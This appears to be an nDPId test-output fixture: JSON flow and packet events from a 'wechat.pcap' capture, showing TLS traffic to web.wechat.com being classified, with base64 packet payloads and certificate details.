+00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":133,"source":"wechat.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1492167355723,"flow_last_seen":1492167356077,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54091,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00497{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":105935,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnC1FAAC4GGyHLzZeiwKgBZwG700oogyttoQ\/TE4AYAHitFQAAAQEICkXxFGkAMLyeFAMDAAEBFgMDACi\/lY9ttWYgixpZVnLivPTiYtg2AlyBjdFSnoTBoX1jmkDYSHWa6jpY"} +00447{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":114749,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEvOpAAAERGbTAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":114803,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00447{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":115073,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEvOtAAAERGbPAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":115101,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00425{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":144235,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0a4NAAEAGqcHAqAFny82XotNKAbuhD9MTKIMroIAQASibPAAAAQEICgAwvQJF8RRp"} +00425{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":487983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0whVAAC0GZY\/LzZeiwKgBZwG700uz8YPZbAqEDYAQAHgPQQAAAQEICkWtQcwAMLzx"} +02344{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":488969,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIwhZAAC0GX\/rLzZeiwKgBZwG700uz8YPZbAqEDYAQAHgQdAAAAQEICkWtQcwAMLzxFgMDAF0CAABZAwOe8QHokcOaEsejRhiKIOT+eneKPUPW6CxSRu3PtDSDICAw4BRL3PXeGMjW+qUk6QYvRqoU0TSzHBocUA21W5zrfsAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":151,"source":"wechat.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":6,"flow_first_seen":1492167355723,"flow_last_seen":1492167356488,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54091,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":489000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0P4lAAEAG1bvAqAFny82XotNLAbtsCoQNs\/GJbYAQAPsIwwAAAQEICgAwvVhFrUHM"} +02699{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":489253,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMwhdAAC0GXvXLzZeiwKgBZwG700uz8YltbAqEDYAYAHgsPgAAAQEICkWtQcwAMLzxi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQ2x7XwiLdRbJe2ezzNqHZjd3m3ALtNJQlRJbXIqzTvDx5RppGiVwkllQUqIzEhC49B+KNSBDH019juum8PyR1nBgEBAKbOhpuiGA4sSKAcNwn1neg4GKEo9Wq0PnmYO\/WyA1EYjJ20yU\/kxoaKpaedC1gKNBYCsReuxUZ4+hxxLMXCimatIFs33lSUKoo+QhETf0Vgz0zpbdMzqStD1QwytsLCfP\/RP4ehRyoS5HMxeDCnHoGuZ8VEZf4VoAKRl\/VNrj9XAJg3UVUbkG2fLYMkecjDzpo9LRbCvbax6D6Wr2Ovjl1bXtxALUeNjxEYRoq+Dvpm600AgSzq1Z5DeRUL2DG8Gpi2C58Oazm7q3FRHSMkboSTRCJ8gTLt\/Kef2YLQ6m\/LSv3mIsdqbfOVYIl8ngbEr3Qxf0pPoa5mhgSRz1VDBvoWAwMABA4AAAA="} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":153,"source":"wechat.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":8,"flow_first_seen":1492167355723,"flow_last_seen":1492167356489,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54091,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":489289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0P4pAAEAG1brAqAFny82XotNLAbtsCoQNs\/GQBYAQARUCEQAAAQEICgAwvVhFrUHM"} +00599{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":492166,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyP4tAAEAG1TvAqAFny82XotNLAbtsCoQNs\/GQBYAYARXmRwAAAQEICgAwvVhFrUHMFgMDAEYQAABCQQSK1xuoI\/EoM9LICk0fk\/dqoOaDBID8gzK5B4fzI1nC7bPJSViPhx8rygylgSJtQ08wpWYxrO6Tiw+b1qSjy8ZQFAMDAAEBFgMDACgAAAAAAAAAAFWZZ4LhzH+dBrtI+pdWhmOWc4CJbHUk7r6Bu7ogdr6t"} +02037{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":520275,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"8IQvSpdgeJKcD6iOCABFAATYn8VAAEAGcNvAqAFny82XotMqAbshWCVUT4FMxIAYAd7CfgAAAQEICgAwvWBF0aaEFwMDBJ8AAAAAAAAACj7kGaxvPW1llgrPExXCFY+iK2k9UMlQIUE6PT\/jpyin18E8U+KIyO580A4r2l\/E6SdyNU52BlBa4+lMqpa90zCjDm5155DkgPBMxbUZragdvw8rKup9juv9cjjqZRE1b93ECKgpO7QlawALzkxAtB5wkebFmMLrXPNSzvj+GyXM7xUzF+xmFySulQiMdhr3fk8fScbdJOtIiZ4Rw5BzdzTrNZ55Na8Pe5GwjTLnHAmG3ozlpI37OrIO+pb9yoy5kJCkPWkBko\/wjM9BcLZvqeqNV2fdxSFXPwFvld\/HsntOPojrLzos97mq7BdkZJhJbMBZVdM7BvRPBA9Ep6JR3kmm49nVKQlJ8kxIx2df0k2Kj9uNT1fizDgGhzCffg+KGt27J4zB8MIrxuovjHWELoY8SNgYI6ohKjBoG33m9XG5ytbQ6RSahAPPuCc0iCINY9qRSKRRxsZ2MFDdCLJyzwp6ksaCcXDspFkFsut4tjPmhT1hUlMezWI+x+\/JYTlKNQ2iDZKOaJ4ooToIGg6\/svW7AWAEdlQ6WSgJ03eOUV8wt+9+PyGLH8kHXLtJNGhOeUdTJ\/PNyCisywwMA1BtYSqOcugP9NSgkyBqstG\/0YqOfVm\/JhSFtlNQtn++H5+VqhurBCPsE4Jp3GbYmEtnNYNuitPV12KbiPBBiP6atAc5JOGKcjU5JTiGmuPyY+jjxAt5QiElDMZDMRVGnIU41X6Pkefb85H0ALNDmRM+Qkv1Zkmph7ycMMJRI5UEnyZrX0Z1N4G6VsRHSpQU6lORIwLak5pAhkZw1AOizvL1ilISi1KhRhGXWULUZWST\/2V8LY8WZfFSKe8+jbCSFQv3LUfndPY9m1ozVMefBIb2L3q44PvleU6ALxbPho1wHR8A9GQR9AoOGvGk8ewKWXaAZAFv7RZ2Nhdpl3W8uCr48K2A1yF1v0MQhMtRJQk9V1khU\/4293n\/+GvZRqJ91JerRBsq5wVLzUiW8NxR3mmt7OSaMYsvgrPwItDG8Qgicq4qQ6f7bpYNEKxtXBhzygAdPtGq2xyYpKuHxuk+TwcDinj4EZl9wIBRVg2A6Oy20CTXlrOgMelOLA9FhK7fy5LJ+pP+qHrUjZB7muBVjX0pdaotzd1JrYGuVhZkvMFTZlJ8ojjK+U3AzaZAKISH7rzHGtSUgj\/W03+Kd6crV14Hx21CjirxIdckCpWzQk4myX33NE\/tTaRaJss\/fGiyIodgyAlrjx\/4YdwAGku6gNxNRBwvesPHuC2RFF26C8BKdFc5mNYQA7atVsfmp9ce8\/dB95qtuZUOOgzW6W1aVKjNr6PN4bCZJI+kSrbdlbHMmxplh1xfuVW2uOasnTaRrgmyiC26u\/qO2QKJ8JwASeF1U\/p61qacFon3hNfDk1M\/Unwp3KelUx+LpJy1DN8soQZmF2LTvOec7r6AwQcD6vRjG+L+E7AV99pWWU8++ouJUS\/b1OWMKnh8uJh3\/8nMHRgulOqJw\/D8kiYdcShztHgfqu7waukjvPag6nGZiZXJ8nbb1HZZThD4ZmGmvVIDd84kH9R2spUZ4EvP"} +00495{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":846364,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnwhlAAC0GZVjLzZeiwKgBZwG700uz8ZAFbAqEi4AYAHhE5wAAAQEICkWtQjMAML1YFAMDAAEBFgMDACgnBMv9ASURh8KYAMFphlTJKv7mOV6REhDxcVQav2y2QTSJZzWIeLbA"} +00424{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":880092,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0dwdAACwGsZ3LzZeiwKgBZwG70ypPgUzEIVgp+IAQATDohwAAAQEICkXRp6gAML1g"} +00426{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":884259,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0P4xAAEAG1bjAqAFny82XotNLAbtsCoSLs\/GQOIAQARUAlgAAAQEICgAwvbtFrUIz"} +00447{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167357,"pkt_ts_usec":115280,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEvRNAAAERGYvAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167357,"pkt_ts_usec":115407,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00447{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167359,"pkt_ts_usec":115713,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEvmhAAAERGDbAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167359,"pkt_ts_usec":115806,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00502{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":622900,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"eJKcD6iO8IQvSpdgCABFoABrfSgAADcGnizYOs1OwKgBZwG7ugsgLP3V+HJvr4AYAV2wggAAAQEICvap78EAL9cAFwMDADI7\/WDixcApjMc4oo49oFJiwuyoshtW5rSqz9ahoHcSOkzcmjO3CkNO6pgK6XLAf2uLNg=="} +00424{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":622960,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0u5lAAEAGF5LAqAFn2DrNTroLAbv4cm+vICz+DIAQATUj0AAAAQEICgAwwWH2qe\/B"} +00423{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":623266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0fSkAADcGnmLYOs1OwKgBZwG7ugsgLP4M+HJvr4ARAV0OCQAAAQEICvap78EAL9cA"} +00424{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":623340,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0u5pAAEAGF5HAqAFn2DrNTroLAbv4cm+vICz+DYARATUjzgAAAQEICgAwwWH2qe\/B"} 